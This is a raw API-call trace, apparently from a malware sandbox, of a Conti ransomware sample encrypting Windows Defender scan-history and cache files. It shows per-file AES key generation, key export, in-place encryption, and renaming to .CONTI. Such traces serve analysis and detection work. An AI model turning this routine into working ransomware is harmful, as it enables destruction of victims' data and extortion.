	[0115.435] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.435] WriteFile (in: hFile=0x408, lpBuffer=0x6b41e30*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x6b41e30*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0115.435] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.435] CloseHandle (hObject=0x408) returned 1
	[0115.435] GetProcessHeap () returned 0x1720000
	[0115.435] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0115.435] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\21\\260" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\21\\260") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\21\\260"
	[0115.435] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\21\\260", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\21\\260.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\21\\260.CONTI"
	[0115.435] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\21\\260" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\21\\260"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\21\\260.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\21\\260.conti")) returned 1
	[0115.436] GetProcessHeap () returned 0x1720000
	[0115.436] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0115.436] CryptDestroyKey (hKey=0x6b7f438) returned 1
	[0115.436] GetProcessHeap () returned 0x1720000
	[0115.436] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173f1e8 | out: hHeap=0x1720000) returned 1
	[0115.436] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0115.436] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x18062d0 | out: phKey=0x18062d0*=0x6b7f478) returned 1
	[0115.436] CryptExportKey (in: hKey=0x6b7f478, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x18062d4, pdwDataLen=0x3cffb14 | out: pbData=0x18062d4*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0115.437] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\22\\109003" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\22\\109003")) returned 0x20
	[0115.437] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\22\\109003" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\22\\109003"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0115.437] GetLastError () returned 0x0
	[0115.437] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=136) returned 1
	[0115.437] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x88
	[0115.437] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.437] SetEndOfFile (hFile=0x408) returned 1
	[0115.438] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.438] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.438] WriteFile (in: hFile=0x408, lpBuffer=0x18062d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x18062d4*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0115.439] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.439] ReadFile (in: hFile=0x408, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x88, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x88, lpOverlapped=0x0) returned 1
	[0115.439] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x88, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x90) returned 1
	[0115.439] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.439] WriteFile (in: hFile=0x408, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x90, lpOverlapped=0x0) returned 1
	[0115.439] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.439] WriteFile (in: hFile=0x408, lpBuffer=0x18062c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x18062c8*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0115.439] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.440] CloseHandle (hObject=0x408) returned 1
	[0115.440] GetProcessHeap () returned 0x1720000
	[0115.440] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0115.440] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\22\\109003" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\22\\109003") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\22\\109003"
	[0115.440] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\22\\109003", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\22\\109003.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\22\\109003.CONTI"
	[0115.440] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\22\\109003" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\22\\109003"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\22\\109003.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\22\\109003.conti")) returned 1
	[0115.440] GetProcessHeap () returned 0x1720000
	[0115.440] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0115.440] CryptDestroyKey (hKey=0x6b7f478) returned 1
	[0115.440] GetProcessHeap () returned 0x1720000
	[0115.440] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6560e50 | out: hHeap=0x1720000) returned 1
	[0115.440] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0115.440] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x1806088 | out: phKey=0x1806088*=0x6b7f078) returned 1
	[0115.441] CryptExportKey (in: hKey=0x6b7f078, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x180608c, pdwDataLen=0x3cffb14 | out: pbData=0x180608c*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0115.441] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\22\\109006" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\22\\109006")) returned 0x20
	[0115.441] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\22\\109006" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\22\\109006"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0115.442] GetLastError () returned 0x0
	[0115.442] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=136) returned 1
	[0115.442] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x88
	[0115.442] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.442] SetEndOfFile (hFile=0x408) returned 1
	[0115.442] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.442] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.442] WriteFile (in: hFile=0x408, lpBuffer=0x180608c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x180608c*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0115.443] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.443] ReadFile (in: hFile=0x408, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x88, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x88, lpOverlapped=0x0) returned 1
	[0115.443] CryptEncrypt (in: hKey=0x6b7f078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x88, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x90) returned 1
	[0115.443] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.443] WriteFile (in: hFile=0x408, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x90, lpOverlapped=0x0) returned 1
	[0115.443] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.444] WriteFile (in: hFile=0x408, lpBuffer=0x1806080*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x1806080*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0115.444] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.444] CloseHandle (hObject=0x408) returned 1
	[0115.444] GetProcessHeap () returned 0x1720000
	[0115.444] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0115.444] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\22\\109006" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\22\\109006") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\22\\109006"
	[0115.444] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\22\\109006", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\22\\109006.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\22\\109006.CONTI"
	[0115.444] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\22\\109006" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\22\\109006"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\22\\109006.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\22\\109006.conti")) returned 1
	[0115.444] GetProcessHeap () returned 0x1720000
	[0115.444] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0115.444] CryptDestroyKey (hKey=0x6b7f078) returned 1
	[0115.444] GetProcessHeap () returned 0x1720000
	[0115.445] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6560820 | out: hHeap=0x1720000) returned 1
	[0115.446] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0115.446] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x6b504d8 | out: phKey=0x6b504d8*=0x6b7eff8) returned 1
	[0115.446] CryptExportKey (in: hKey=0x6b7eff8, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b504dc, pdwDataLen=0x3cffb14 | out: pbData=0x6b504dc*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0115.448] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\94\\A75BFDE52F3DD8E6.dat" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\metastore\\2\\94\\a75bfde52f3dd8e6.dat")) returned 0x20
	[0115.448] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\94\\A75BFDE52F3DD8E6.dat" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\metastore\\2\\94\\a75bfde52f3dd8e6.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0115.449] GetLastError () returned 0x0
	[0115.449] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=5081) returned 1
	[0115.449] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x13d9
	[0115.449] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.449] SetEndOfFile (hFile=0x408) returned 1
	[0115.449] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.449] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.449] WriteFile (in: hFile=0x408, lpBuffer=0x6b504dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x6b504dc*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0115.710] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.710] ReadFile (in: hFile=0x408, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x13d9, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x13d9, lpOverlapped=0x0) returned 1
	[0115.787] CryptEncrypt (in: hKey=0x6b7eff8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x13d9, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x13e0) returned 1
	[0115.787] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.787] WriteFile (in: hFile=0x408, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x13e0, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x13e0, lpOverlapped=0x0) returned 1
	[0115.787] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.787] WriteFile (in: hFile=0x408, lpBuffer=0x6b504d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x6b504d0*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0115.787] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.787] CloseHandle (hObject=0x408) returned 1
	[0115.787] GetProcessHeap () returned 0x1720000
	[0115.787] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6880810
	[0115.788] lstrcpyW (in: lpString1=0x6880810, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\94\\A75BFDE52F3DD8E6.dat" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\94\\A75BFDE52F3DD8E6.dat") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\94\\A75BFDE52F3DD8E6.dat"
	[0115.788] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\94\\A75BFDE52F3DD8E6.dat", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\94\\A75BFDE52F3DD8E6.dat.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\94\\A75BFDE52F3DD8E6.dat.CONTI"
	[0115.788] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\94\\A75BFDE52F3DD8E6.dat" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\metastore\\2\\94\\a75bfde52f3dd8e6.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\94\\A75BFDE52F3DD8E6.dat.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\metastore\\2\\94\\a75bfde52f3dd8e6.dat.conti")) returned 1
	[0115.789] GetProcessHeap () returned 0x1720000
	[0115.789] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6880810 | out: hHeap=0x1720000) returned 1
	[0115.789] CryptDestroyKey (hKey=0x6b7eff8) returned 1
	[0115.789] GetProcessHeap () returned 0x1720000
	[0115.789] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6561690 | out: hHeap=0x1720000) returned 1
	[0115.789] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0115.789] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x6b50290 | out: phKey=0x6b50290*=0x6b7f138) returned 1
	[0115.789] CryptExportKey (in: hKey=0x6b7f138, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b50294, pdwDataLen=0x3cffb14 | out: pbData=0x6b50294*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0115.790] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7C" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.7c")) returned 0x820
	[0115.807] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7C" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.7c"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0115.809] GetLastError () returned 0x0
	[0115.809] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=5410816) returned 1
	[0115.809] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x529000
	[0115.809] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.809] SetEndOfFile (hFile=0x418) returned 1
	[0115.852] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.853] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.853] WriteFile (in: hFile=0x418, lpBuffer=0x6b50294*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x6b50294*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0115.854] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.854] ReadFile (in: hFile=0x418, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x500000, lpOverlapped=0x0) returned 1
	[0121.471] CryptEncrypt (in: hKey=0x6b7f138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x500000, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x500000) returned 1
	[0121.477] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.477] WriteFile (in: hFile=0x418, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x500000, lpOverlapped=0x0) returned 1
	[0123.233] ReadFile (in: hFile=0x418, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x29000, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x29000, lpOverlapped=0x0) returned 1
	[0123.241] CryptEncrypt (in: hKey=0x6b7f138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x29000, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x29010) returned 1
	[0123.242] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x500000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.242] WriteFile (in: hFile=0x418, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x29010, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x29010, lpOverlapped=0x0) returned 1
	[0123.242] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.243] WriteFile (in: hFile=0x418, lpBuffer=0x6b50288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x6b50288*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0123.243] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0123.243] CloseHandle (hObject=0x418) returned 1
	[0123.243] GetProcessHeap () returned 0x1720000
	[0123.243] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0123.633] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7C" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7C") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7C"
